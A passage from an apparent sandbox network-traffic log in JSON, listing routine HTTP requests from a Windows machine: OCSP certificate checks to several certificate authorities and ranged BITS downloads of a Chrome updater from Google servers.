  2558. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D HTTP/1.1\r\nCache-Control: max-age = 148251\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Mar 2019 18:10:24 GMT\r\nIf-None-Match: \"5c8d3c10-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2559. "port": 80
  2560. },
  2561. {
  2562. "count": 1,
  2563. "body": "",
  2564. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D",
  2565. "user-agent": "Microsoft-CryptoAPI/6.1",
  2566. "method": "GET",
  2567. "host": "ocsp.pki.goog",
  2568. "version": "1.1",
  2569. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D",
  2570. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2571. "port": 80
  2572. },
  2573. {
  2574. "count": 1,
  2575. "body": "",
  2576. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D",
  2577. "user-agent": "Microsoft-CryptoAPI/6.1",
  2578. "method": "GET",
  2579. "host": "ocsp.pki.goog",
  2580. "version": "1.1",
  2581. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D",
  2582. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2583. "port": 80
  2584. },
  2585. {
  2586. "count": 1,
  2587. "body": "",
  2588. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D",
  2589. "user-agent": "Microsoft-CryptoAPI/6.1",
  2590. "method": "GET",
  2591. "host": "ocsp.digicert.com",
  2592. "version": "1.1",
  2593. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D",
  2594. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D HTTP/1.1\r\nCache-Control: max-age = 126990\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 10:41:16 GMT\r\nIf-None-Match: \"5c960d4c-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2595. "port": 80
  2596. },
  2597. {
  2598. "count": 1,
  2599. "body": "",
  2600. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
  2601. "user-agent": "Microsoft-CryptoAPI/6.1",
  2602. "method": "GET",
  2603. "host": "ocsp.pki.goog",
  2604. "version": "1.1",
  2605. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
  2606. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2607. "port": 80
  2608. },
  2609. {
  2610. "count": 1,
  2611. "body": "",
  2612. "uri": "http://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D",
  2613. "user-agent": "Microsoft-CryptoAPI/6.1",
  2614. "method": "GET",
  2615. "host": "ocsp.thawte.com",
  2616. "version": "1.1",
  2617. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D",
  2618. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D HTTP/1.1\r\nCache-Control: max-age = 320712\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 20 Mar 2019 11:42:01 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.thawte.com\r\n\r\n",
  2619. "port": 80
  2620. },
  2621. {
  2622. "count": 1,
  2623. "body": "",
  2624. "uri": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  2625. "user-agent": "Microsoft-CryptoAPI/6.1",
  2626. "method": "GET",
  2627. "host": "ocsp.usertrust.com",
  2628. "version": "1.1",
  2629. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  2630. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D HTTP/1.1\r\nCache-Control: max-age = 94765\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.usertrust.com\r\n\r\n",
  2631. "port": 80
  2632. },
  2633. {
  2634. "count": 1,
  2635. "body": "",
  2636. "uri": "http://th.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D",
  2637. "user-agent": "Microsoft-CryptoAPI/6.1",
  2638. "method": "GET",
  2639. "host": "th.symcd.com",
  2640. "version": "1.1",
  2641. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D",
  2642. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D HTTP/1.1\r\nCache-Control: max-age = 386377\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 21 Mar 2019 05:58:32 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: th.symcd.com\r\n\r\n",
  2643. "port": 80
  2644. },
  2645. {
  2646. "count": 1,
  2647. "body": "",
  2648. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D",
  2649. "user-agent": "Microsoft-CryptoAPI/6.1",
  2650. "method": "GET",
  2651. "host": "ocsp.digicert.com",
  2652. "version": "1.1",
  2653. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D",
  2654. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D HTTP/1.1\r\nCache-Control: max-age = 142986\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 07:40:28 GMT\r\nIf-None-Match: \"5cece5ec-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2655. "port": 80
  2656. },
  2657. {
  2658. "count": 1,
  2659. "body": "",
  2660. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D",
  2661. "user-agent": "Microsoft-CryptoAPI/6.1",
  2662. "method": "GET",
  2663. "host": "ocsp.digicert.com",
  2664. "version": "1.1",
  2665. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D",
  2666. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D HTTP/1.1\r\nCache-Control: max-age = 161796\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 13:00:33 GMT\r\nIf-None-Match: \"5ced30f1-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2667. "port": 80
  2668. },
  2669. {
  2670. "count": 1,
  2671. "body": "",
  2672. "uri": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D",
  2673. "user-agent": "Microsoft-CryptoAPI/6.1",
  2674. "method": "GET",
  2675. "host": "ocsp.pki.goog",
  2676. "version": "1.1",
  2677. "path": "/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D",
  2678. "data": "GET /gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  2679. "port": 80
  2680. },
  2681. {
  2682. "count": 1,
  2683. "body": "",
  2684. "uri": "http://redirector.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe",
  2685. "user-agent": "Microsoft BITS/7.5",
  2686. "method": "HEAD",
  2687. "host": "redirector.gvt1.com",
  2688. "version": "1.1",
  2689. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe",
  2690. "data": "HEAD /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: redirector.gvt1.com\r\n\r\n",
  2691. "port": 80
  2692. },
  2693. {
  2694. "count": 1,
  2695. "body": "",
  2696. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2697. "user-agent": "Microsoft BITS/7.5",
  2698. "method": "HEAD",
  2699. "host": "r5---sn-a5msen7l.gvt1.com",
  2700. "version": "1.1",
  2701. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2702. "data": "HEAD /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2703. "port": 80
  2704. },
  2705. {
  2706. "count": 1,
  2707. "body": "",
  2708. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2709. "user-agent": "Microsoft BITS/7.5",
  2710. "method": "GET",
  2711. "host": "r5---sn-a5msen7l.gvt1.com",
  2712. "version": "1.1",
  2713. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2714. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=0-7100\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2715. "port": 80
  2716. },
  2717. {
  2718. "count": 1,
  2719. "body": "",
  2720. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2721. "user-agent": "Microsoft BITS/7.5",
  2722. "method": "GET",
  2723. "host": "r5---sn-a5msen7l.gvt1.com",
  2724. "version": "1.1",
  2725. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2726. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=7101-17698\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2727. "port": 80
  2728. },
  2729. {
  2730. "count": 1,
  2731. "body": "",
  2732. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2733. "user-agent": "Microsoft BITS/7.5",
  2734. "method": "GET",
  2735. "host": "r5---sn-a5msen7l.gvt1.com",
  2736. "version": "1.1",
  2737. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2738. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=17699-31974\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2739. "port": 80
  2740. },
  2741. {
  2742. "count": 1,
  2743. "body": "",
  2744. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2745. "user-agent": "Microsoft BITS/7.5",
  2746. "method": "GET",
  2747. "host": "r5---sn-a5msen7l.gvt1.com",
  2748. "version": "1.1",
  2749. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2750. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=31975-50886\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2751. "port": 80
  2752. },
  2753. {
  2754. "count": 1,
  2755. "body": "",
  2756. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2757. "user-agent": "Microsoft BITS/7.5",
  2758. "method": "GET",
  2759. "host": "r5---sn-a5msen7l.gvt1.com",
  2760. "version": "1.1",
  2761. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2762. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=50887-65720\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2763. "port": 80
  2764. },
  2765. {
  2766. "count": 1,
  2767. "body": "",
  2768. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2769. "user-agent": "Microsoft BITS/7.5",
  2770. "method": "GET",
  2771. "host": "r5---sn-a5msen7l.gvt1.com",
  2772. "version": "1.1",
  2773. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2774. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=65721-114127\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2775. "port": 80
  2776. },
  2777. {
  2778. "count": 1,
  2779. "body": "",
  2780. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2781. "user-agent": "Microsoft BITS/7.5",
  2782. "method": "GET",
  2783. "host": "r5---sn-a5msen7l.gvt1.com",
  2784. "version": "1.1",
  2785. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2786. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=114128-210420\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2787. "port": 80
  2788. },
  2789. {
  2790. "count": 1,
  2791. "body": "",
  2792. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2793. "user-agent": "Microsoft BITS/7.5",
  2794. "method": "GET",
  2795. "host": "r5---sn-a5msen7l.gvt1.com",
  2796. "version": "1.1",
  2797. "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2798. "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=210421-394140\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-a5msen7l.gvt1.com\r\n\r\n",
  2799. "port": 80
  2800. },
  2801. {
  2802. "count": 1,
  2803. "body": "",
  2804. "uri": "http://r5---sn-a5msen7l.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.83.40.106&mm=28&mn=sn-a5msen7l&ms=nvh&mt=1560800981&mv=m&pl=24&shardbypass=yes",
  2805. "user-agent": "Microsoft BITS/7.5",
  2806. "method": "GET",
  2807. "host": "r5---sn-a5msen7l.gvt1.com",
  2808. "version": "1.1",
